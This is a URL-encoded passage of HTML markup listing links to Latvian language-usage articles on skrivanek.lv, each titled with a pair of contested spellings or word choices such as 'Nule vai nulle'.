%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnaco-vai-nacos%2F%22%3ENa%C4%8Do%20vai%20na%C4%8Dos%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnapaleons-pret-napoleons%2F%22%3ENapaleons%20vai%20Napoleons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnasketies-pret-naskoties%2F%22%3ENa%C5%A1%C4%B7%C4%93ties%20vai%20na%C5%A1%C4%B7oties%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnakamais-vai-nakosais%2F%22%3EN%C4%81kamais%20vai%20n%C4%81ko%C5%A1ais%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnelokamie-skaitla-vardi%2F%22%3ENelok%C4%81mie%20skait%C4%BCa%20v%C4%81rdi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fneparko-pret-ne-par-ko%2F%22%3ENeparko%20vai%20ne%20par%20ko%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fne-tikvien-bet-ari-pret-ne-tik-vien-bet-ari%2F%22%3ENe%20tikvien%20%E2%80%93%20bet%20ar%C4%AB%20vai%20netik%20vien%20%E2%80%93%20bet%20ar%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fne-velti-pret-ne-par-velti-pret-ne-veltigi%2F%22%3ENe%20velti%20vai%20ne%20par%20velti%2C%20vai%20ne%20velt%C4%ABgi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnobela-premija-pret-nobela-premija%2F%22%3ENobela%20pr%C4%93mija%20vai%20Nobe%C4%BCa%20pr%C4%93mija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnoladet-vai-lejupieladet-vai-lejupladet%2F%22%3ENol%C4%81d%C4%93t%20vai%20lejupiel%C4%81d%C4%93t%20vai%20lejupl%C4%81d%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnomest-svaru-pret-notievet%2F%22%3ENomest%20svaru%20vai%20notiev%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnoslauciet-vai-noslaukiet%2F%22%3ENoslaukiet%20vai%20noslauciet%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnostalgija%2F%22%3ENostal%C4%A3ija%20vai%20nosta%C4%BC%C4%A3ija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnoteikumi-nr-2%2F%22%3ENoteikumi%20nr.%202%20vai%20noteikumi%20Nr.%202%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnule-vai-nulle%2F%22%3ENule%20vai%20nulle%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnemt-dalibu-pret-piedalities%2F%22%3E%C5%85emt%20dal%C4%ABbu%20vai%20piedal%C4%ABties%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fparizes-olimpiskas-speles-vai-parizes-olimpiskas-speles%2F%22%3EOlimpisk%C4%81s%20sp%C4%93les%20vai%20olimpisk%C4%81s%20sp%C4%93les%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Folivas-pret-olives%2F%22%3EOl%C4%ABvas%20vai%20ol%C4%ABves%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Foptimals-vai-optimalakais-vai-visoptimalakais%2F%22%3EOptim%C4%81ls%2C%20optim%C4%81l%C4%81kais%20vai%20visoptim%C4%81l%C4%81kais%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Foriginals-pret-orginals%2F%22%3EOri%C4%A3in%C4%81ls%20vai%20or%C4%A3in%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpalaikam-pret-laiku-pa-laikam-pret-ik-pa-laikam%2F%22%3EPalaikam%2C%20laiku%20pa%20laikam%20vai%20ik%20pa%20laikam%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpali-pret-pludi%2F%22%3EPali%20vai%20pl%C5%ABdi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpapildu-pret-papildus%2F%22%3EPapildu%20vai%20papildus%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpapirins-pret-papiritis%2F%22%3EPap%C4%ABri%C5%86%C5%A1%20vai%20pap%C4%ABr%C4%ABtis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fparalimpisks-vai-paraolimpisks%2F%22%3EParalimpisks%20vai%20paraolimpisks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpar-cik-pret-ta-ka%2F%22%3EPAR%20CIK%20vai%20T%C4%80%20K%C4%80%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpareizi-pret-korekti%2F%22%3EPareizi%20vai%20korekti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fparetam-vai-pa-retam%2F%22%3EParetam%20vai%20pa%20retam%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fparolons-pret-porolons%2F%22%3EParolons%20vai%20porolons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpastavigs-pret-patstavigs%2F%22%3EPast%C4%81v%C4%ABgs%20vai%20patst%C4%81v%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplasmasa-pret-plastmasa%2F%22%3EPas%C5%ABt%C4%ABsim%20plasmasas%20vai%20plastmasas%20logus%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplassazinas-lidzekli-pret-masu-mediji%2F%22%3EPa%C5%A1sazi%C5%86as%20l%C4%ABdzek%C4%BCi%20vai%20masu%20mediji%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpatafons-pret-patofons%2F%22%3EPatafons%20vai%20patofons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpatalogija-vai-patologija%2F%22%3EPatalo%C4%A3ija%20vai%20patolo%C4%A3ija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpatiesais-labuma-guvejs-vai-patiesa-labuma-guvejs%2F%22%3EPatiesais%20labuma%20guv%C4%93js%20vai%20paties%C4%81%20labuma%20guv%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpavaroti-pret-pavarotti%2F%22%3EPavaroti%20vai%20Pavarotti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpaviljons-vai-pavilijons%2F%22%3EPaviljons%20vai%20pavilijons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpazvanit-pret-piezvanit%2F%22%3EPazvan%C4%ABt%20vai%20piezvan%C4%ABt%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fparskats-vai-atskaite%2F%22%3EP%C4%81rskats%20vai%20atskaite%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fperipetija%2F%22%3EPeripetija%20vai%20Perip%C4%93tija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpersonala-nodala-pret-personala-dala-pret-personala-departaments%2F%22%3EPerson%C4%81la%20noda%C4%BCa%2C%20person%C4%81la%20da%C4%BCa%20vai%20person%C4%81la%20departaments%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fperspektivas-pret-perspektives%2F%22%3EPerspekt%C4%ABvas%20vai%20perspekt%C4%ABves%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpernais-menesis-pret-pagajusais-menesis%2F%22%3EP%C4%93rnais%20m%C4%93nesis%20vai%20pag%C4%81ju%C5%A1ais%20m%C4%93nesis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpeta-pret-peti%2F%22%3EP%C4%93ta%20vai%20p%C4%93t%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatpakal-pret-pirms%2F%22%3EPiecus%20gadus%20atpaka%C4%BC%20vai%20pirms%20pieciem%20gadiem%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpiederet-pret-piedereties%2F%22%3EPieder%C4%93t%20vai%20pieder%C4%93ties%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpiena-nepanesiba-vai-piena-nepanesamiba%2F%22%3EPiena%20nepanes%C4%ABba%20vai%20piena%20nepanesam%C4%ABba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpiestadit-vai-izrakstit%2F%22%3EPiest%C4%81d%C4%ABt%20vai%20izrakst%C4%ABt%20r%C4%93%C4%B7inu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpie-tam-pietam-bez-tam-vai-turklat%2F%22%3E%E2%80%98Pie%20tam%E2%80%99%2C%20%E2%80%98pietam%E2%80%99%2C%20%E2%80%98bez%20tam%E2%80%99%2C%20%E2%80%98turkl%C4%81t%E2%80%99%20lietojums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpie-tevim-vai-pie-tevis%2F%22%3EPie%20tev%C4%ABm%20vai%20Pie%20tevis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpiranja-pret-piraija-pret-piraja-pret-pirana%2F%22%3EPiranja%2C%20piraija%2C%20piraja%20vai%20pira%C5%86a%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpirmatnejs-pret-pirmatnigs%2F%22%3EPirmatn%C4%93js%20vai%20pirmatn%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpirmskietami-vai-pirmsskietami%2F%22%3EPirm%C5%A1%C4%B7ietami%20vai%20pirms%C5%A1%C4%B7ietami%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpika-stunda-pret-maksimumstunda%2F%22%3EP%C4%AB%C4%B7a%20stunda%20vai%20maksimumstunda%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplankums-vai-plekis%2F%22%3EPlankums%20vai%20ple%C4%B7is%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplastalins-vai-plastilins%2F%22%3EPlastil%C4%ABns%20vai%20plastal%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplest-vai-pleest%2F%22%3EPlest%20vai%20pl%C4%93st%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplisa-pret-flisa-pret-flisa-jaka%2F%22%3EPl%C4%AB%C5%A1a%2C%20Fl%C4%ABsa%20vai%20Fl%C4%AB%C5%A1a%20jaka%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplomba-pret-plombe%2F%22%3EPlomba%20vai%20plombe%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplus-pret-pluss%2F%22%3EPlus%20vai%20pluss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpodkasts-vai-podraide-vai-raidieraksts%2F%22%3EPodk%C4%81sts%2C%20podraide%20vai%20raidieraksts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpoliesters-vai-poliesteris%2F%22%3EPoliesters%20vai%20poliesteris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpolietelens-vai-polietilens%2F%22%3EPolietel%C4%93ns%20vai%20polietil%C4%93ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpomelo-vai-pamelo%2F%22%3EPomelo%20vai%20pamelo%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fportals-pret-vortals%2F%22%3EPort%C4%81ls%20vai%20Vort%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fprieks-tevis-vai-tev%2F%22%3EPriek%C5%A1%20tevis%20vai%20Tev%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fprinters-pret-printeris%2F%22%3EPrinters%20vai%20printeris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fprivilegets-pret-priviligets%2F%22%3EPrivile%C4%A3%C4%93ts%20vai%20privili%C4%A3%C4%93ts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fprobiotikas-vai-prebiotikas%2F%22%3EProbiotikas%20vai%20prebiotikas%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpropoganda-pret-propaganda%2F%22%3EPropoganda%20vai%20propaganda%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpsihologs-anna-pret-psihologe-anna%2F%22%3EPsihologs%20Anna%20vai%20psiholo%C4%A3e%20Anna%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpukkaposti-pret-ziedkaposti%2F%22%3EPu%C4%B7k%C4%81posti%20vai%20ziedk%C4%81posti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpulksten-18-00%2F%22%3EPulksten%2018%3A00%20vai%20pulksten%2018.00%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpuse-no-negadijumiem-pret-puse-negadijumu%2F%22%3EPuse%20no%20negad%C4%ABjumiem%20vai%20puse%20negad%C4%ABjumu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsatiksimies-pec-pus-gada-pret-satiksimies-pec-pusgada%2F%22%3EPus%20gads%20vai%20pusgads%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpusotra-gada-vecs-berns-vai-pusotru-gadu-vecs-berns%2F%22%3EPusotra%20gada%20vai%20pusotru%20gadu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frads-vai-radinieks%2F%22%3ERads%20vai%20radinieks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frakstit-uz-datora-pret-rakstit-ar-datoru%2F%22%3ERakst%C4%ABt%20uz%20datora%20vai%20rakst%C4%ABt%20ar%20datoru%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frakstpratiba-pret-rakstitprasme%2F%22%3ERakstprat%C4%ABba%20vai%20rakst%C4%ABtprasme%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Franca-vai-ranco%2F%22%3ERan%C4%8Da%20vai%20ran%C4%8Do%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frapsis-pret-rapsi%2F%22%3ERap%C5%A1i%20vai%20rapsis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frasols-pret-rosols%2F%22%3ERasols%20vai%20rosols%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fraunds-vai-posms%2F%22%3ERaunds%20vai%20posms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frecepcija-pret-registratura%2F%22%3ERecepcija%20vai%20re%C4%A3istrat%C5%ABra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fremigret-pret-reemigret%2F%22%3ERemigr%C4%93t%20vai%20reemigr%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frentgens-vai-rengens-vai-rentgenss%2F%22%3ERentgens%2C%20rengens%20vai%20rentgenss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frepers-vai-reperis%2F%22%3ERepers%20vai%20reperis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fretas-vai-bruces%2F%22%3ER%C4%93tas%20vai%20br%C5%ABces%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frietumi%2F%22%3Erietumi%20vai%20Rietumi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frigsdags-vai-riksdags%2F%22%3ERigsdags%20vai%20Riksdags%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fregipsis-pret-rigipsis%2F%22%3ERi%C4%A3ipsis%20vai%20r%C4%AB%C4%A3ipsis%2C%20vai%20re%C4%A3ipsis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frisa-vai-rise%2F%22%3ERisa%20vai%20rise%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fridzinieks-pret-ridzenieks%2F%22%3ER%C4%ABdzinieks%20vai%20r%C4%ABdzenieks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fqr-kods-vai-kvadratkods%2F%22%3EQR%20kods%20vai%20kvadr%C4%81tkods%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsaburzits-pret-saburznits%2F%22%3ESaburz%C4%ABts%20vai%20saburzn%C4%ABts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsaksafons-pret-saksofons%2F%22%3ESaksafons%20vai%20saksofons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsamits-pret-sammits%2F%22%3ESamits%20vai%20sammits%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsaturnejis-vai-satrunejis%2F%22%3ESaturn%C4%93jis%20vai%20satrun%C4%93jis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpasreiz-pret-patreiz%2F%22%3ESaule%20sp%C4%ABd%20pa%C5%A1reiz%2Fpatreiz%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsavads-pret-citads%2F%22%3ESav%C4%81ds%20vai%20cit%C4%81ds%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsakt-darbu-vai-uzsakt-darbu%2F%22%3ES%C4%81kt%20darbu%20vai%20uzs%C4%81kt%20darbu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fseniors-pret-senjors%2F%22%3ESeniors%20vai%20senjors%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fseparatists-pret-terorists%2F%22%3ESepar%C4%81tists%20vai%20terorists%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsevila-vai-sevilja%2F%22%3ESevi%C4%BCa%20vai%20Sevilja%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fes-sedu-vai-es-sezu%2F%22%3ES%C4%93%C5%BEu%20vai%20s%C4%93du%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsilicija-ieleja-pret-silikona-ieleja%2F%22%3ESil%C4%ABcija%20ieleja%20vai%20Silikona%20ieleja%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsimtgade-pret-simtsgade%2F%22%3ESimtgade%20vai%20simtsgade%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsireals-pret-sirreals%2F%22%3ESire%C4%81ls%20vai%20Sirre%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskarienjutigs-ekrans-pret-skarienekrans%2F%22%3ESk%C4%81rienjut%C4%ABgs%20ekr%C4%81ns%20vai%20sk%C4%81rienekr%C4%81ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskenet-pret-skanet%2F%22%3ESken%C4%93t%20vai%20skan%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskolnieki-pret-skoleni%2F%22%3ESkol%C4%81%20m%C4%81c%C4%81s%20skol%C4%93ni%20vai%20